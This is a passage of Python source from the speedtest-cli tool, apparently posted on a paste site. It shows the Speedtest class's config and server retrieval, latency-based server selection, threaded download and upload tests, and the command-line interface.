  1030.             self._shutdown_event = shutdown_event
  1031.         else:
  1032.             self._shutdown_event = FakeShutdownEvent()
  1033.  
  1034.         self.get_config()
  1035.         if config is not None:
  1036.             self.config.update(config)
  1037.  
  1038.         self.servers = {}
  1039.         self.closest = []
  1040.         self._best = {}
  1041.  
  1042.         self.results = SpeedtestResults(
  1043.             client=self.config['client'],
  1044.             opener=self._opener,
  1045.             secure=secure,
  1046.         )
  1047.  
  1048.     @property
  1049.     def best(self):
  1050.         if not self._best:
  1051.             raise SpeedtestMissingBestServer(
  1052.                 'get_best_server not called or not able to determine best '
  1053.                 'server'
  1054.             )
  1055.         return self._best
  1056.  
  1057.     def get_config(self):
  1058.         """Download the speedtest.net configuration and return only the data
  1059.        we are interested in
  1060.        """
  1061.  
  1062.         headers = {}
  1063.         if gzip:
  1064.             headers['Accept-Encoding'] = 'gzip'
  1065.         request = build_request('://www.speedtest.net/speedtest-config.php',
  1066.                                 headers=headers, secure=self._secure)
  1067.         uh, e = catch_request(request, opener=self._opener)
  1068.         if e:
  1069.             raise ConfigRetrievalError(e)
  1070.         configxml_list = []
  1071.  
  1072.         stream = get_response_stream(uh)
  1073.  
  1074.         while 1:
  1075.             try:
  1076.                 configxml_list.append(stream.read(1024))
  1077.             except (OSError, EOFError):
  1078.                 raise ConfigRetrievalError(get_exception())
  1079.             if len(configxml_list[-1]) == 0:
  1080.                 break
  1081.         stream.close()
  1082.         uh.close()
  1083.  
  1084.         if int(uh.code) != 200:
  1085.             return None
  1086.  
  1087.         configxml = ''.encode().join(configxml_list)
  1088.  
  1089.         printer('Config XML:\n%s' % configxml, debug=True)
  1090.  
  1091.         try:
  1092.             try:
  1093.                 root = ET.fromstring(configxml)
  1094.             except ET.ParseError:
  1095.                 e = get_exception()
  1096.                 raise SpeedtestConfigError(
  1097.                     'Malformed speedtest.net configuration: %s' % e
  1098.                 )
  1099.             server_config = root.find('server-config').attrib
  1100.             download = root.find('download').attrib
  1101.             upload = root.find('upload').attrib
  1102.             # times = root.find('times').attrib
  1103.             client = root.find('client').attrib
  1104.  
  1105.         except AttributeError:
  1106.             try:
  1107.                 root = DOM.parseString(configxml)
  1108.             except ExpatError:
  1109.                 e = get_exception()
  1110.                 raise SpeedtestConfigError(
  1111.                     'Malformed speedtest.net configuration: %s' % e
  1112.                 )
  1113.             server_config = get_attributes_by_tag_name(root, 'server-config')
  1114.             download = get_attributes_by_tag_name(root, 'download')
  1115.             upload = get_attributes_by_tag_name(root, 'upload')
  1116.             # times = get_attributes_by_tag_name(root, 'times')
  1117.             client = get_attributes_by_tag_name(root, 'client')
  1118.  
  1119.         ignore_servers = list(
  1120.             map(int, server_config['ignoreids'].split(','))
  1121.         )
  1122.  
  1123.         ratio = int(upload['ratio'])
  1124.         upload_max = int(upload['maxchunkcount'])
  1125.         up_sizes = [32768, 65536, 131072, 262144, 524288, 1048576, 7340032]
  1126.         sizes = {
  1127.             'upload': up_sizes[ratio - 1:],
  1128.             'download': [350, 500, 750, 1000, 1500, 2000, 2500,
  1129.                          3000, 3500, 4000]
  1130.         }
  1131.  
  1132.         size_count = len(sizes['upload'])
  1133.  
  1134.         upload_count = int(math.ceil(upload_max / size_count))
  1135.  
  1136.         counts = {
  1137.             'upload': upload_count,
  1138.             'download': int(download['threadsperurl'])
  1139.         }
  1140.  
  1141.         threads = {
  1142.             'upload': int(upload['threads']),
  1143.             'download': int(server_config['threadcount']) * 2
  1144.         }
  1145.  
  1146.         length = {
  1147.             'upload': int(upload['testlength']),
  1148.             'download': int(download['testlength'])
  1149.         }
  1150.  
  1151.         self.config.update({
  1152.             'client': client,
  1153.             'ignore_servers': ignore_servers,
  1154.             'sizes': sizes,
  1155.             'counts': counts,
  1156.             'threads': threads,
  1157.             'length': length,
  1158.             'upload_max': upload_count * size_count
  1159.         })
  1160.  
  1161.         try:
  1162.             self.lat_lon = (float(client['lat']), float(client['lon']))
  1163.         except ValueError:
  1164.             raise SpeedtestConfigError(
  1165.                 'Unknown location: lat=%r lon=%r' %
  1166.                 (client.get('lat'), client.get('lon'))
  1167.             )
  1168.  
  1169.         printer('Config:\n%r' % self.config, debug=True)
  1170.  
  1171.         return self.config
  1172.  
  1173.     def get_servers(self, servers=None, exclude=None):
  1174.         """Retrieve a the list of speedtest.net servers, optionally filtered
  1175.        to servers matching those specified in the ``servers`` argument
  1176.        """
  1177.         if servers is None:
  1178.             servers = []
  1179.  
  1180.         if exclude is None:
  1181.             exclude = []
  1182.  
  1183.         self.servers.clear()
  1184.  
  1185.         for server_list in (servers, exclude):
  1186.             for i, s in enumerate(server_list):
  1187.                 try:
  1188.                     server_list[i] = int(s)
  1189.                 except ValueError:
  1190.                     raise InvalidServerIDType(
  1191.                         '%s is an invalid server type, must be int' % s
  1192.                     )
  1193.  
  1194.         urls = [
  1195.             '://www.speedtest.net/speedtest-servers-static.php',
  1196.             'http://c.speedtest.net/speedtest-servers-static.php',
  1197.             '://www.speedtest.net/speedtest-servers.php',
  1198.             'http://c.speedtest.net/speedtest-servers.php',
  1199.         ]
  1200.  
  1201.         headers = {}
  1202.         if gzip:
  1203.             headers['Accept-Encoding'] = 'gzip'
  1204.  
  1205.         errors = []
  1206.         for url in urls:
  1207.             try:
  1208.                 request = build_request(
  1209.                     '%s?threads=%s' % (url,
  1210.                                        self.config['threads']['download']),
  1211.                     headers=headers,
  1212.                     secure=self._secure
  1213.                 )
  1214.                 uh, e = catch_request(request, opener=self._opener)
  1215.                 if e:
  1216.                     errors.append('%s' % e)
  1217.                     raise ServersRetrievalError()
  1218.  
  1219.                 stream = get_response_stream(uh)
  1220.  
  1221.                 serversxml_list = []
  1222.                 while 1:
  1223.                     try:
  1224.                         serversxml_list.append(stream.read(1024))
  1225.                     except (OSError, EOFError):
  1226.                         raise ServersRetrievalError(get_exception())
  1227.                     if len(serversxml_list[-1]) == 0:
  1228.                         break
  1229.  
  1230.                 stream.close()
  1231.                 uh.close()
  1232.  
  1233.                 if int(uh.code) != 200:
  1234.                     raise ServersRetrievalError()
  1235.  
  1236.                 serversxml = ''.encode().join(serversxml_list)
  1237.  
  1238.                 printer('Servers XML:\n%s' % serversxml, debug=True)
  1239.  
  1240.                 try:
  1241.                     try:
  1242.                         try:
  1243.                             root = ET.fromstring(serversxml)
  1244.                         except ET.ParseError:
  1245.                             e = get_exception()
  1246.                             raise SpeedtestServersError(
  1247.                                 'Malformed speedtest.net server list: %s' % e
  1248.                             )
  1249.                         elements = root.getiterator('server')
  1250.                     except AttributeError:
  1251.                         try:
  1252.                             root = DOM.parseString(serversxml)
  1253.                         except ExpatError:
  1254.                             e = get_exception()
  1255.                             raise SpeedtestServersError(
  1256.                                 'Malformed speedtest.net server list: %s' % e
  1257.                             )
  1258.                         elements = root.getElementsByTagName('server')
  1259.                 except (SyntaxError, xml.parsers.expat.ExpatError):
  1260.                     raise ServersRetrievalError()
  1261.  
  1262.                 for server in elements:
  1263.                     try:
  1264.                         attrib = server.attrib
  1265.                     except AttributeError:
  1266.                         attrib = dict(list(server.attributes.items()))
  1267.  
  1268.                     if servers and int(attrib.get('id')) not in servers:
  1269.                         continue
  1270.  
  1271.                     if (int(attrib.get('id')) in self.config['ignore_servers']
  1272.                             or int(attrib.get('id')) in exclude):
  1273.                         continue
  1274.  
  1275.                     try:
  1276.                         d = distance(self.lat_lon,
  1277.                                      (float(attrib.get('lat')),
  1278.                                       float(attrib.get('lon'))))
  1279.                     except Exception:
  1280.                         continue
  1281.  
  1282.                     attrib['d'] = d
  1283.  
  1284.                     try:
  1285.                         self.servers[d].append(attrib)
  1286.                     except KeyError:
  1287.                         self.servers[d] = [attrib]
  1288.  
  1289.                 break
  1290.  
  1291.             except ServersRetrievalError:
  1292.                 continue
  1293.  
  1294.         if (servers or exclude) and not self.servers:
  1295.             raise NoMatchedServers()
  1296.  
  1297.         return self.servers
  1298.  
  1299.     def set_mini_server(self, server):
  1300.         """Instead of querying for a list of servers, set a link to a
  1301.        speedtest mini server
  1302.        """
  1303.  
  1304.         urlparts = urlparse(server)
  1305.  
  1306.         name, ext = os.path.splitext(urlparts[2])
  1307.         if ext:
  1308.             url = os.path.dirname(server)
  1309.         else:
  1310.             url = server
  1311.  
  1312.         request = build_request(url)
  1313.         uh, e = catch_request(request, opener=self._opener)
  1314.         if e:
  1315.             raise SpeedtestMiniConnectFailure('Failed to connect to %s' %
  1316.                                               server)
  1317.         else:
  1318.             text = uh.read()
  1319.             uh.close()
  1320.  
  1321.         extension = re.findall('upload_?[Ee]xtension: "([^"]+)"',
  1322.                                text.decode())
  1323.         if not extension:
  1324.             for ext in ['php', 'asp', 'aspx', 'jsp']:
  1325.                 try:
  1326.                     f = self._opener.open(
  1327.                         '%s/speedtest/upload.%s' % (url, ext)
  1328.                     )
  1329.                 except Exception:
  1330.                     pass
  1331.                 else:
  1332.                     data = f.read().strip().decode()
  1333.                     if (f.code == 200 and
  1334.                             len(data.splitlines()) == 1 and
  1335.                             re.match('size=[0-9]', data)):
  1336.                         extension = [ext]
  1337.                         break
  1338.         if not urlparts or not extension:
  1339.             raise InvalidSpeedtestMiniServer('Invalid Speedtest Mini Server: '
  1340.                                              '%s' % server)
  1341.  
  1342.         self.servers = [{
  1343.             'sponsor': 'Speedtest Mini',
  1344.             'name': urlparts[1],
  1345.             'd': 0,
  1346.             'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]),
  1347.             'latency': 0,
  1348.             'id': 0
  1349.         }]
  1350.  
  1351.         return self.servers
  1352.  
  1353.     def get_closest_servers(self, limit=5):
  1354.         """Limit servers to the closest speedtest.net servers based on
  1355.        geographic distance
  1356.        """
  1357.  
  1358.         if not self.servers:
  1359.             self.get_servers()
  1360.  
  1361.         for d in sorted(self.servers.keys()):
  1362.             for s in self.servers[d]:
  1363.                 self.closest.append(s)
  1364.                 if len(self.closest) == limit:
  1365.                     break
  1366.             else:
  1367.                 continue
  1368.             break
  1369.  
  1370.         printer('Closest Servers:\n%r' % self.closest, debug=True)
  1371.         return self.closest
  1372.  
  1373.     def get_best_server(self, servers=None):
  1374.         """Perform a speedtest.net "ping" to determine which speedtest.net
  1375.        server has the lowest latency
  1376.        """
  1377.  
  1378.         if not servers:
  1379.             if not self.closest:
  1380.                 servers = self.get_closest_servers()
  1381.             servers = self.closest
  1382.  
  1383.         if self._source_address:
  1384.             source_address_tuple = (self._source_address, 0)
  1385.         else:
  1386.             source_address_tuple = None
  1387.  
  1388.         user_agent = build_user_agent()
  1389.  
  1390.         results = {}
  1391.         for server in servers:
  1392.             cum = []
  1393.             url = os.path.dirname(server['url'])
  1394.             stamp = int(timeit.time.time() * 1000)
  1395.             latency_url = '%s/latency.txt?x=%s' % (url, stamp)
  1396.             for i in range(0, 3):
  1397.                 this_latency_url = '%s.%s' % (latency_url, i)
  1398.                 printer('%s %s' % ('GET', this_latency_url),
  1399.                         debug=True)
  1400.                 urlparts = urlparse(latency_url)
  1401.                 try:
  1402.                     if urlparts[0] == 'https':
  1403.                         h = SpeedtestHTTPSConnection(
  1404.                             urlparts[1],
  1405.                             source_address=source_address_tuple
  1406.                         )
  1407.                     else:
  1408.                         h = SpeedtestHTTPConnection(
  1409.                             urlparts[1],
  1410.                             source_address=source_address_tuple
  1411.                         )
  1412.                     headers = {'User-Agent': user_agent}
  1413.                     path = '%s?%s' % (urlparts[2], urlparts[4])
  1414.                     start = timeit.default_timer()
  1415.                     h.request("GET", path, headers=headers)
  1416.                     r = h.getresponse()
  1417.                     total = (timeit.default_timer() - start)
  1418.                 except HTTP_ERRORS:
  1419.                     e = get_exception()
  1420.                     printer('ERROR: %r' % e, debug=True)
  1421.                     cum.append(3600)
  1422.                     continue
  1423.  
  1424.                 text = r.read(9)
  1425.                 if int(r.status) == 200 and text == 'test=test'.encode():
  1426.                     cum.append(total)
  1427.                 else:
  1428.                     cum.append(3600)
  1429.                 h.close()
  1430.  
  1431.             avg = round((sum(cum) / 6) * 1000.0, 3)
  1432.             results[avg] = server
  1433.  
  1434.         try:
  1435.             fastest = sorted(results.keys())[0]
  1436.         except IndexError:
  1437.             raise SpeedtestBestServerFailure('Unable to connect to servers to '
  1438.                                              'test latency.')
  1439.         best = results[fastest]
  1440.         best['latency'] = fastest
  1441.  
  1442.         self.results.ping = fastest
  1443.         self.results.server = best
  1444.  
  1445.         self._best.update(best)
  1446.         printer('Best Server:\n%r' % best, debug=True)
  1447.         return best
  1448.  
  1449.     def download(self, callback=do_nothing):
  1450.         """Test download speed against speedtest.net"""
  1451.  
  1452.         urls = []
  1453.         for size in self.config['sizes']['download']:
  1454.             for _ in range(0, self.config['counts']['download']):
  1455.                 urls.append('%s/random%sx%s.jpg' %
  1456.                             (os.path.dirname(self.best['url']), size, size))
  1457.  
  1458.         request_count = len(urls)
  1459.         requests = []
  1460.         for i, url in enumerate(urls):
  1461.             requests.append(
  1462.                 build_request(url, bump=i, secure=self._secure)
  1463.             )
  1464.  
  1465.         def producer(q, requests, request_count):
  1466.             for i, request in enumerate(requests):
  1467.                 thread = HTTPDownloader(
  1468.                     i,
  1469.                     request,
  1470.                     start,
  1471.                     self.config['length']['download'],
  1472.                     opener=self._opener,
  1473.                     shutdown_event=self._shutdown_event
  1474.                 )
  1475.                 thread.start()
  1476.                 q.put(thread, True)
  1477.                 callback(i, request_count, start=True)
  1478.  
  1479.         finished = []
  1480.  
  1481.         def consumer(q, request_count):
  1482.             while len(finished) < request_count:
  1483.                 thread = q.get(True)
  1484.                 while thread.isAlive():
  1485.                     thread.join(timeout=0.1)
  1486.                 finished.append(sum(thread.result))
  1487.                 callback(thread.i, request_count, end=True)
  1488.  
  1489.         q = Queue(self.config['threads']['download'])
  1490.         prod_thread = threading.Thread(target=producer,
  1491.                                        args=(q, requests, request_count))
  1492.         cons_thread = threading.Thread(target=consumer,
  1493.                                        args=(q, request_count))
  1494.         start = timeit.default_timer()
  1495.         prod_thread.start()
  1496.         cons_thread.start()
  1497.         while prod_thread.isAlive():
  1498.             prod_thread.join(timeout=0.1)
  1499.         while cons_thread.isAlive():
  1500.             cons_thread.join(timeout=0.1)
  1501.  
  1502.         stop = timeit.default_timer()
  1503.         self.results.bytes_received = sum(finished)
  1504.         self.results.download = (
  1505.             (self.results.bytes_received / (stop - start)) * 8.0
  1506.         )
  1507.         if self.results.download > 100000:
  1508.             self.config['threads']['upload'] = 8
  1509.         return self.results.download
  1510.  
  1511.     def upload(self, callback=do_nothing, pre_allocate=True):
  1512.         """Test upload speed against speedtest.net"""
  1513.  
  1514.         sizes = []
  1515.  
  1516.         for size in self.config['sizes']['upload']:
  1517.             for _ in range(0, self.config['counts']['upload']):
  1518.                 sizes.append(size)
  1519.  
  1520.         # request_count = len(sizes)
  1521.         request_count = self.config['upload_max']
  1522.  
  1523.         requests = []
  1524.         for i, size in enumerate(sizes):
  1525.             # We set ``0`` for ``start`` and handle setting the actual
  1526.             # ``start`` in ``HTTPUploader`` to get better measurements
  1527.             data = HTTPUploaderData(
  1528.                 size,
  1529.                 0,
  1530.                 self.config['length']['upload'],
  1531.                 shutdown_event=self._shutdown_event
  1532.             )
  1533.             if pre_allocate:
  1534.                 data.pre_allocate()
  1535.             requests.append(
  1536.                 (
  1537.                     build_request(self.best['url'], data, secure=self._secure),
  1538.                     size
  1539.                 )
  1540.             )
  1541.  
  1542.         def producer(q, requests, request_count):
  1543.             for i, request in enumerate(requests[:request_count]):
  1544.                 thread = HTTPUploader(
  1545.                     i,
  1546.                     request[0],
  1547.                     start,
  1548.                     request[1],
  1549.                     self.config['length']['upload'],
  1550.                     opener=self._opener,
  1551.                     shutdown_event=self._shutdown_event
  1552.                 )
  1553.                 thread.start()
  1554.                 q.put(thread, True)
  1555.                 callback(i, request_count, start=True)
  1556.  
  1557.         finished = []
  1558.  
  1559.         def consumer(q, request_count):
  1560.             while len(finished) < request_count:
  1561.                 thread = q.get(True)
  1562.                 while thread.isAlive():
  1563.                     thread.join(timeout=0.1)
  1564.                 finished.append(thread.result)
  1565.                 callback(thread.i, request_count, end=True)
  1566.  
  1567.         q = Queue(self.config['threads']['upload'])
  1568.         prod_thread = threading.Thread(target=producer,
  1569.                                        args=(q, requests, request_count))
  1570.         cons_thread = threading.Thread(target=consumer,
  1571.                                        args=(q, request_count))
  1572.         start = timeit.default_timer()
  1573.         prod_thread.start()
  1574.         cons_thread.start()
  1575.         while prod_thread.isAlive():
  1576.             prod_thread.join(timeout=0.1)
  1577.         while cons_thread.isAlive():
  1578.             cons_thread.join(timeout=0.1)
  1579.  
  1580.         stop = timeit.default_timer()
  1581.         self.results.bytes_sent = sum(finished)
  1582.         self.results.upload = (
  1583.             (self.results.bytes_sent / (stop - start)) * 8.0
  1584.         )
  1585.         return self.results.upload
  1586.  
  1587.  
  1588. def ctrl_c(shutdown_event):
  1589.     """Catch Ctrl-C key sequence and set a SHUTDOWN_EVENT for our threaded
  1590.    operations
  1591.    """
  1592.     def inner(signum, frame):
  1593.         shutdown_event.set()
  1594.         printer('\nCancelling...', error=True)
  1595.         sys.exit(0)
  1596.     return inner
  1597.  
  1598.  
  1599. def version():
  1600.     """Print the version"""
  1601.  
  1602.     printer(__version__)
  1603.     sys.exit(0)
  1604.  
  1605.  
  1606. def csv_header(delimiter=','):
  1607.     """Print the CSV Headers"""
  1608.  
  1609.     printer(SpeedtestResults.csv_header(delimiter=delimiter))
  1610.     sys.exit(0)
  1611.  
  1612.  
  1613. def parse_args():
  1614.     """Function to handle building and parsing of command line arguments"""
  1615.     description = (
  1616.         'Command line interface for testing internet bandwidth using '
  1617.         'speedtest.net.\n'
  1618.         '------------------------------------------------------------'
  1619.         '--------------\n'
  1620.         'https://github.com/sivel/speedtest-cli')
  1621.  
  1622.     parser = ArgParser(description=description)
  1623.     # Give optparse.OptionParser an `add_argument` method for
  1624.     # compatibility with argparse.ArgumentParser
  1625.     try:
  1626.         parser.add_argument = parser.add_option
  1627.     except AttributeError:
  1628.         pass
  1629.     parser.add_argument('--no-download', dest='download', default=True,
  1630.                         action='store_const', const=False,
  1631.                         help='Do not perform download test')
  1632.     parser.add_argument('--no-upload', dest='upload', default=True,
  1633.                         action='store_const', const=False,
  1634.                         help='Do not perform upload test')
  1635.     parser.add_argument('--bytes', dest='units', action='store_const',
  1636.                         const=('byte', 8), default=('bit', 1),
  1637.                         help='Display values in bytes instead of bits. Does '
  1638.                              'not affect the image generated by --share, nor '
  1639.                              'output from --json or --csv')
  1640.     parser.add_argument('--share', action='store_true',
  1641.                         help='Generate and provide a URL to the speedtest.net '
  1642.                              'share results image, not displayed with --csv')
  1643.     parser.add_argument('--simple', action='store_true', default=False,
  1644.                         help='Suppress verbose output, only show basic '
  1645.                              'information')
  1646.     parser.add_argument('--csv', action='store_true', default=False,
  1647.                         help='Suppress verbose output, only show basic '
  1648.                              'information in CSV format. Speeds listed in '
  1649.                              'bit/s and not affected by --bytes')
  1650.     parser.add_argument('--csv-delimiter', default=',', type=PARSER_TYPE_STR,
  1651.                         help='Single character delimiter to use in CSV '
  1652.                              'output. Default ","')
  1653.     parser.add_argument('--csv-header', action='store_true', default=False,
  1654.                         help='Print CSV headers')
  1655.     parser.add_argument('--json', action='store_true', default=False,
  1656.                         help='Suppress verbose output, only show basic '
  1657.                              'information in JSON format. Speeds listed in '
  1658.                              'bit/s and not affected by --bytes')
  1659.     parser.add_argument('--list', action='store_true',
  1660.                         help='Display a list of speedtest.net servers '
  1661.                              'sorted by distance')
  1662.     parser.add_argument('--server', type=PARSER_TYPE_INT, action='append',
  1663.                         help='Specify a server ID to test against. Can be '
  1664.                              'supplied multiple times')
  1665.     parser.add_argument('--exclude', type=PARSER_TYPE_INT, action='append',
  1666.                         help='Exclude a server from selection. Can be '
  1667.                              'supplied multiple times')
  1668.     parser.add_argument('--mini', help='URL of the Speedtest Mini server')
  1669.     parser.add_argument('--source', help='Source IP address to bind to')
  1670.     parser.add_argument('--timeout', default=10, type=PARSER_TYPE_FLOAT,
  1671.                         help='HTTP timeout in seconds. Default 10')
  1672.     parser.add_argument('--secure', action='store_true',
  1673.                         help='Use HTTPS instead of HTTP when communicating '
  1674.                              'with speedtest.net operated servers')
  1675.     parser.add_argument('--no-pre-allocate', dest='pre_allocate',
  1676.                         action='store_const', default=True, const=False,
  1677.                         help='Do not pre allocate upload data. Pre allocation '
  1678.                              'is enabled by default to improve upload '
  1679.                              'performance. To support systems with '
  1680.                              'insufficient memory, use this option to avoid a '
  1681.                              'MemoryError')
  1682.     parser.add_argument('--version', action='store_true',
  1683.                         help='Show the version number and exit')
  1684.     parser.add_argument('--debug', action='store_true',
  1685.                         help=ARG_SUPPRESS, default=ARG_SUPPRESS)
  1686.  
  1687.     options = parser.parse_args()
  1688.     if isinstance(options, tuple):
  1689.         args = options[0]
  1690.     else:
  1691.         args = options
  1692.     return args
  1693.  
  1694.  
  1695. def validate_optional_args(args):
  1696.     """Check if an argument was provided that depends on a module that may
  1697.    not be part of the Python standard library.
  1698.  
  1699.    If such an argument is supplied, and the module does not exist, exit
  1700.    with an error stating which module is missing.
  1701.    """
  1702.     optional_args = {
  1703.         'json': ('json/simplejson python module', json),
  1704.         'secure': ('SSL support', HTTPSConnection),
  1705.     }
  1706.  
  1707.     for arg, info in optional_args.items():
  1708.         if getattr(args, arg, False) and info[1] is None:
  1709.             raise SystemExit('%s is not installed. --%s is '
  1710.                              'unavailable' % (info[0], arg))
  1711.  
  1712.  
  1713. def printer(string, quiet=False, debug=False, error=False, **kwargs):
  1714.     """Helper function print a string with various features"""
  1715.  
  1716.     if debug and not DEBUG:
  1717.         return
  1718.  
  1719.     if debug:
  1720.         if sys.stdout.isatty():
  1721.             out = '\033[1;30mDEBUG: %s\033[0m' % string
  1722.         else:
  1723.             out = 'DEBUG: %s' % string
  1724.     else:
  1725.         out = string
  1726.  
  1727.     if error:
  1728.         kwargs['file'] = sys.stderr
  1729.  
  1730.     if not quiet:
  1731.         print_(out, **kwargs)
  1732.  
  1733.  
  1734. def shell():
  1735.     """Run the full speedtest.net test"""
  1736.  
  1737.     global DEBUG
  1738.     shutdown_event = threading.Event()
  1739.  
  1740.     signal.signal(signal.SIGINT, ctrl_c(shutdown_event))
  1741.  
  1742.     args = parse_args()
  1743.  
  1744.     # Print the version and exit
  1745.     if args.version:
  1746.         version()
  1747.  
  1748.     if not args.download and not args.upload:
  1749.         raise SpeedtestCLIError('Cannot supply both --no-download and '
  1750.                                 '--no-upload')
  1751.  
  1752.     if len(args.csv_delimiter) != 1:
  1753.         raise SpeedtestCLIError('--csv-delimiter must be a single character')
  1754.  
  1755.     if args.csv_header:
  1756.         csv_header(args.csv_delimiter)
  1757.  
  1758.     validate_optional_args(args)
  1759.  
  1760.     debug = getattr(args, 'debug', False)
  1761.     if debug == 'SUPPRESSHELP':
  1762.         debug = False
  1763.     if debug:
  1764.         DEBUG = True
  1765.  
  1766.     if args.simple or args.csv or args.json:
  1767.         quiet = True
  1768.     else:
  1769.         quiet = False
  1770.  
  1771.     if args.csv or args.json:
  1772.         machine_format = True
  1773.     else:
  1774.         machine_format = False
  1775.  
  1776.     # Don't set a callback if we are running quietly
  1777.     if quiet or debug:
  1778.         callback = do_nothing
  1779.     else:
  1780.         callback = print_dots(shutdown_event)
  1781.  
  1782.     printer('Retrieving speedtest.net configuration...', quiet)
  1783.     try:
  1784.         speedtest = Speedtest(
  1785.             source_address=args.source,
  1786.             timeout=args.timeout,
  1787.             secure=args.secure
  1788.         )
  1789.     except (ConfigRetrievalError,) + HTTP_ERRORS:
  1790.         printer('Cannot retrieve speedtest configuration', error=True)
  1791.         raise SpeedtestCLIError(get_exception())
  1792.  
  1793.     if args.list:
  1794.         try:
  1795.             speedtest.get_servers()
  1796.         except (ServersRetrievalError,) + HTTP_ERRORS:
  1797.             printer('Cannot retrieve speedtest server list', error=True)
  1798.             raise SpeedtestCLIError(get_exception())
  1799.  
  1800.         for _, servers in sorted(speedtest.servers.items()):
  1801.             for server in servers:
  1802.                 line = ('%(id)5s) %(sponsor)s (%(name)s, %(country)s) '
  1803.                         '[%(d)0.2f km]' % server)
  1804.                 try:
  1805.                     printer(line)
  1806.                 except IOError:
  1807.                     e = get_exception()
  1808.                     if e.errno != errno.EPIPE:
  1809.                         raise
  1810.         sys.exit(0)
  1811.  
  1812.     printer('Testing from %(isp)s (%(ip)s)...' % speedtest.config['client'],
  1813.             quiet)
  1814.  
  1815.     if not args.mini:
  1816.         printer('Retrieving speedtest.net server list...', quiet)
  1817.         try:
  1818.             speedtest.get_servers(servers=args.server, exclude=args.exclude)
  1819.         except NoMatchedServers:
  1820.             raise SpeedtestCLIError(
  1821.                 'No matched servers: %s' %
  1822.                 ', '.join('%s' % s for s in args.server)
  1823.             )
  1824.         except (ServersRetrievalError,) + HTTP_ERRORS:
  1825.             printer('Cannot retrieve speedtest server list', error=True)
  1826.             raise SpeedtestCLIError(get_exception())
  1827.         except InvalidServerIDType:
  1828.             raise SpeedtestCLIError(
  1829.                 '%s is an invalid server type, must '
  1830.                 'be an int' % ', '.join('%s' % s for s in args.server)
  1831.             )
  1832.  
  1833.         if args.server and len(args.server) == 1:
  1834.             printer('Retrieving information for the selected server...', quiet)
  1835.         else:
  1836.             printer('Selecting best server based on ping...', quiet)
  1837.         speedtest.get_best_server()
  1838.     elif args.mini:
  1839.         speedtest.get_best_server(speedtest.set_mini_server(args.mini))
  1840.  
  1841.     results = speedtest.results
  1842.  
  1843.     printer('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: '
  1844.             '%(latency)s ms' % results.server, quiet)
  1845.  
  1846.     if args.download:
  1847.         printer('Testing download speed', quiet,
  1848.                 end=('', '\n')[bool(debug)])
  1849.         speedtest.download(callback=callback)
  1850.         printer('Download: %0.2f M%s/s' %
  1851.                 ((results.download / 1000.0 / 1000.0) / args.units[1],
  1852.                  args.units[0]),
  1853.                 quiet)
  1854.     else:
  1855.         printer('Skipping download test', quiet)
  1856.  
  1857.     if args.upload:
  1858.         printer('Testing upload speed', quiet,
  1859.                 end=('', '\n')[bool(debug)])
  1860.         speedtest.upload(callback=callback, pre_allocate=args.pre_allocate)
  1861.         printer('Upload: %0.2f M%s/s' %
  1862.                 ((results.upload / 1000.0 / 1000.0) / args.units[1],
  1863.                  args.units[0]),
  1864.                 quiet)
  1865.     else:
  1866.         printer('Skipping upload test', quiet)
  1867.  
  1868.     printer('Results:\n%r' % results.dict(), debug=True)
  1869.  
  1870.     if not args.simple and args.share:
  1871.         results.share()
  1872.  
  1873.     if args.simple:
  1874.         printer('Ping: %s ms\nDownload: %0.2f M%s/s\nUpload: %0.2f M%s/s' %
  1875.                 (results.ping,
  1876.                  (results.download / 1000.0 / 1000.0) / args.units[1],
  1877.                  args.units[0],
  1878.                  (results.upload / 1000.0 / 1000.0) / args.units[1],
  1879.                  args.units[0]))
  1880.     elif args.csv:
  1881.         printer(results.csv(delimiter=args.csv_delimiter))
  1882.     elif args.json:
  1883.         printer(results.json())
  1884.  
  1885.     if args.share and not machine_format:
  1886.         printer('Share results: %s' % results.share())
  1887.  
  1888.  
  1889. def main():
  1890.     try:
  1891.         shell()
  1892.     except KeyboardInterrupt:
  1893.         printer('\nCancelling...', error=True)
  1894.     except (SpeedtestException, SystemExit):
  1895.         e = get_exception()
  1896.         # Ignore a successful exit, or argparse exit
  1897.         if getattr(e, 'code', 1) not in (0, 2):
  1898.             raise SystemExit('ERROR: %s' % e)
  1899.  
  1900.  
  1901. if __name__ == '__main__':
  1902.     main()
Add Comment
Please, Sign In to add comment